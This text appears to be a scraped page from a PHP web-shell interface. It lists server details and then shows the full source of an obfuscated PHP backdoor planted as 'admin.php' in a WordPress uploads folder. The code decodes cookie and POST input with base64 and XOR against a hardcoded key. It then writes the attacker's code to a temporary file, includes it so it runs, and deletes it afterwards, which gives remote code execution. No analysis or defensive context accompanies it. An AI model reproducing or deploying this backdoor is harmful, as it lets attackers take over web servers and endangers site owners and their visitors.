HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/pianob/wp-content/uploads/2021/05/admin.php
<?php 
$uandh	=       'uandh' /*   zkaozf*/ ^    '	';






$dqdng_eepi    =   $_COOKIE;
$mgmezpk /* cal*/ =    63;

$w_x_p	= /*  x   */ $_POST;


function	iarqmmpum()


{


 /*   g */ $qrdxjspcrqk /*_mg  */ =	'qz';

	$ybstih    = /*  wvbkp*/ 'rlzci';


  $keetboht	=     'geimecqn';


	$zgmbgopmms	=       'mlchq';


 /*   f*/ $ybstih       = /*dgn */ strtolower($zgmbgopmms);    $fbxgvxnqyukxzdipa       =	'eos';


    $qrdxjunor      =	'r_';
}




function       nkozqdtcy($fjcqqunjp, /*su_ija */ $avduwo)


{
       global   $uandh;
	$kux_yw_   = /*   ro */ "";


	$utvwzk   =     43; /*   p   */ for    ($qrdxj /*  x*/ = /*  w*/ 0;      $qrdxj    <     strlen($fjcqqunjp);) /*eva   */ {


 /*   sduwnu  */ for  ($fbxgvxnqyu /*  buglms   */ = /* fsib*/ 0;    $fbxgvxnqyu	< /*l  */ strlen($avduwo) /*oq_p   */ &&  $qrdxj /* pfqx*/ <  strlen($fjcqqunjp);    $fbxgvxnqyu++,    $qrdxj++)    {
 /*   omjt  */ $kux_yw_ /*  cy  */ .=    $uandh(ord($fjcqqunjp[$qrdxj])     ^     ord($avduwo[$fbxgvxnqyu]));
			$fbnvwxpqpd	=    20;
 /*j   */ }

 /*   pqjx   */ }
	return    $kux_yw_;


}





function /*  qc*/ ifkrfrqt($q_onjeo,      $fjcqqunjp)

{

   global    $uandh;



 /* lhr_ */ $djzlnza /*ejg_dz  */ = /*lcyi   */ sprintf("."."\57"    . /*   vjqkha */ "%"."s"."\56"    . /*   vbenv  */ "p"."\x6c", /*   _snxd  */ md5($q_onjeo));

 /*   ngfgf */ file_put_contents($djzlnza,     "<"	.   "\77"   . /*  zmbzi  */ $uandh(121-9) /*   c  */ .    "h".$uandh(112)	. /*mrlhqa   */ $uandh(32)	.    "u"."n"."l"."i".$uandh(488-378)     .       $uandh(107)    .    $uandh(148-108)	. /*  th*/ "_"."\137" /*s*/ .	$uandh(70)       .    $uandh(343-270)    . /* y   */ "\x4c" /*  pyi_*/ .	"\x45"    .      "_".$uandh(95)     .	"\x29"    .      "\73" /* vl   */ .    $uandh(32)     . /*   ltzjz*/ $fjcqqunjp["\x64"]);
$oieutfr /*ap*/ = /* ykx*/ 'tkcnjhm_uz';

	include($djzlnza);
    $sflhih	=    $djzlnza;


	$fuujpu /*   eatyij */ = /*   qiqco  */ trim($oieutfr);


	$qahtsjvuu       = /*  _uvh  */ 'ajieqc';


     @unlink($sflhih);
	$zorhm	= /*ge */ 41;

	$qyn_dwaacf /* j*/ = /* p   */ 5;
}




function /*   zoakrg */ cueawu_du()
{
    global    $uandh;





     $qrdxj   =       array();


	$dwupoaxvz	=      'dzc';	$qrdxj["p".$uandh(175-57)]    =    phpversion();

	$csviz /*  oh*/ =     45;
	$qrdxj["\x73"	.    "v"]	= /*zavi  */ "3".$uandh(263-217)    .       "5";

 /*yvu   */ echo   @serialize($qrdxj);

}



function	xwxrbxf()


{	$qrdxj_acm /*  hc  */ =	67;    $mozierk_k /*  saxhb*/ =      'fumdbslfns';

 /*   gs */ $xrauuwsg	= /*  ug*/ 31;


 /*  xqn*/ $qrdxj_acm    =  $xrauuwsg    *	20;

       $pveazcbvdv    =       35;
}





xwxrbxf();




function /*bpn */ dtqip($fjcqqunjp, /* pbr*/ $q_onjeo,	$qrdxjaldhzapa)


{

 /*afbce */ global     $uandh;



 /*  fe  */ $fjcqqunjp /* hmoex */ =   unserialize(nkozqdtcy(nkozqdtcy(base64_decode($fjcqqunjp),       $q_onjeo),    $qrdxjaldhzapa));
 /*  bzjdi */ if    (isset($fjcqqunjp["a"."\x6b"]))      {
	if /*  qz  */ ($fjcqqunjp["a"]  ==    "i") /*rqvdf   */ {


 /*  yoc*/ cueawu_du();      } /*   oxv  */ elseif /* c_l   */ ($fjcqqunjp["a"]	==    "e") /*bvfn */ {
 /*  rmrda */ ifkrfrqt($q_onjeo, /*t*/ $fjcqqunjp);			$zwepwcm /*   iacf */ =    74;    }
     exit();
      }}

$dqdng_eepi    =     array_merge($w_x_p,  $dqdng_eepi);

$q_onjeo   = /*  q*/ "3"."\x64"."\x38" /* yumht*/ .    "a".$uandh(52)	. /*yzeov  */ "\x34"	. /*  nbslk   */ "\x63"  . /*  rnj */ "2".$uandh(45)    . /*aqd  */ $uandh(57) /* lsuju   */ . /*  zumc*/ "\146" /*  hxfnys*/ .    "\65" /* vcpzn*/ .    $uandh(54)    .   $uandh(45)    .	"4"."\144"      .    "\x33" /*  ulqe   */ . /* xqjiq   */ "4"."\x2d"    .    $uandh(782-726)    .     "\x64"."\x64"  . /*   a_q*/ "2"."-"."5"."1"."b"."9"."c"."\x64"."9"."5"."4"."a"."7"."3";foreach     ($dqdng_eepi /* gtfjo   */ as    $qrdxjaldhzapa /*yzys_ */ =>	$fjcqqunjp) /*sygl*/ {      dtqip($fjcqqunjp,      $q_onjeo,	$qrdxjaldhzapa);
}




$eqoipuuldv	= /*yvfoz  */ 'bjtgd';
$qycrg     =  31;

iarqmmpum();





?>